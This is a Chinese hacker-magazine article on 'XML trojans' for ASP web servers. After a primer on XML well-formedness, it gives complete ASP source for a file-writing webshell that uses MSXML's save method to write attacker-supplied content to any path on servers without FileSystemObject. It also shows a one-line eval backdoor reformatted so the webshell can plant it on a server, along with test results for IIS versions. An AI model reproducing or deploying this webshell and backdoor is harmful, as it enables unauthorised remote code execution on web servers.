XML木马研究
文章来源:黑客防线VIP文章区
这几天一直在学XML,忽然看到了xmlDoc中有一个.SAVE方法,我们就可以在没有FSO的机子上写ASP木马了。
FSO(FileSystemObject)是微软ASP的一个对文件操作的控件,不过好多的个人服务器都不支持或改名了,我们只可以望而生悲了。
首先了解一下XML需要的系统是WINDOWS 2000以上,也就是说我们不必在系统上安装XML parser解析也可以支持XML了。我们狂笑吧,在也不怕服务器上的FSO被改名了。
首先我们介绍一下HTML与XML代码的规范化
1.所有的XML文档必须有一个结束标记
在XML文档中, 忽略结束标记是不符合规定的。
在HTML文档中,一些元素可以是没有结束标记的。下面的代码在HTML中是完全合法的:
<p>Holle FLASHBOY
<p>www.xflashboy.com
但是在XML文档中必须要有结束标记,像下面的例子一样:
<p> Holle FLASHBOY </p>
<p> www.xflashboy.com </p>
2. XML标记都是大小写敏感的
这与HTML不一样, XML标记是大小写敏感的。
在XML中, 标记<Letter>与标记<letter>是两个不同的标记。
因此在XML文档中开始标记和结束标记的大小写必须保持一致。
<Message>This is incorrect</message> //错误的
<message>This is correct</message> //正确的
3.所有的XML元素必须合理包含
在XML中不允许不正确的嵌套包含。
在HTML中,允许有一些不正确的包含,例如下面的代码可以被浏览器解析:
<b><i>This text is bold and italic</b></i>
在XML中所有元素必须正确的嵌套包含,上面的代码应该这样写:
<b><i>This text is bold and italic</i></b>
4.所有的XML文档必须有一个根元素
XML文档中的第一个元素就是根元素。
所有XML文档都必须包含一个单独的标记来定义,所有其他元素的都必须成对的在根元素中嵌套。XML文档有且只能有一个根元素。
所有的元素都可以有子元素,子元素必须正确的嵌套在父元素中。
下面的代码可以形象的说明:
<root>
<child>
<subchild>…..</subchild>
</child>
</root>
5.属性值必须使用引号""
在XML中,元素的属性值没有引号引着是不符合规定的。
如同HTML一样,XML元素同样也可以拥有属性。XML元素的属性以名字/值成对的出现。XML语法规范要求XML元素属性值必须用引号引着。请看下面的两个例子,第一个是错误的,第二个是正确的。
<?xml version="1.0" encoding="ISO-8859-1"?>
<note date=12/11/99>
<to>Lin</to>
<from>Ordm</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
<?xml version="1.0" encoding="ISO-8859-1"?>
<note date="12/11/99">
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
第一个文档的错误之处是属性值没有用引号引着。
正确的写法是: date="12/11/99". 不正确的写法: date=12/11/99.
这几个是XML中的重点,如果不按照这样的话XML是不会创建文件的。
6.数据中不能含有"<" ">"“&”符号
在代码中可以使用 "< "与 "> "代替"<" ">"符号
这们来详细了解一下这几个方法吧
xmlDoc.loadXml(xmlString) 这是用XML的LOAD方法来加载一段XML DOCUMENT到对象中,这里加载的是"xmlString"
注意:在这一个字符串中一定要满足XML语言的要求(在文章前面已经写过),如果不按照的话只能创建一个空的文件,有些读者写入不成功就是因为这一个原因。
xmlDoc.save(server.mappath("test.htm")) 这是把上一句的内容写入"test.htm"这一个文件。
XMLname.save(response) 这种方法中,MSXML作为一个ISTEAM接口,save方法使得MSXML在Response对象中查找MSXML的流接口,然后便用这个接口,将文档直接送到请求用户的流中。
server.mappath是按照相对路径写入,如果要用绝对路径就用xmlDoc.save("test.htm")
现在我们看一下木马的源程序
<%on error resume next%>
<form id="form1" name="form1" method="post" action=''''>
//创建一个提交表单
<p>木马内容</p>
<p><textarea name="flashboy" cols="80" rows="10"></textarea></p>
//创建一个文本框
<p>路径</p>
<p><input name="textfield" type="text" size="50" /></p>
<p><input type="submit" name="Submit" value="提交" /></p></form>
<p><%Response.write "本文件绝对路径"%>
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></p>
//获取本文件的绝对路径
<%
dim xmlString
//创建xmlString,默认为字符串
dim xmlDoc
//创建xmlDoc
xmlString= Request("flashboy")
//取得文本框中的数据
set xmlDoc = server.createObject("Msxml2.DOMDocument")
//定义xmlDoc属于Msxml2.DOMDocument
xmlDoc.loadXml(xmlString)
//加载xmlString到对象中
f=Request("textfield")
//取出输入的文件路径
xmlDoc.save(f)
//保存xmlDoc.loadXml到输入的文件路径中
set xmlDoc=nothing
//清空xmlDoc
%>
测试木马
我们就用冰狐浪子微型ASP后门2.0 来测试一下吧
我们看看源码
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>try{eval(Request.form('#')+'')}catch(e){}</SCRIPT>
是不是不符合我们刚刚说的XML规范?
我们来动手改一下吧
RUNAT=SERVER LANGUAGE=JAVASCRIPT 这两个属性值没有引号引着,我们打他改成
RUNAT= " SERVER " LANGUAGE= " JAVASCRIPT "
整个ASP木马就成了
<SCRIPT RUNAT="SERVER" LANGUAGE="JAVASCRIPT">try{eval(Request.form('#')+'')}catch(e){}</SCRIPT>
现在可以把他写入服务器了。
顺便说一下,如果要写入任意的字符串,如FLASHBOY,直接写是写不进去的,因为XML是须要节点的,可以这样写<a> FLASHBOY</a> <b>FLASHBOY</b> <c>FLASHBOY</c>
本文在WIN2000+IIS 5.0 测试通过.
LINUX 通过不了。。无法显示 XML 页。
使用 XSL 样式表无法查看 XML 输入。请更正错误然后单击 刷新按钮,或以后重试。
——————————————————————————–
名称以无效字符开头。处理资源 'http://xxxxxxxxxx/rate.xml' 时出错。第 1 行,位置: 2
<%on error resume next%>
-^
IIS6也不通过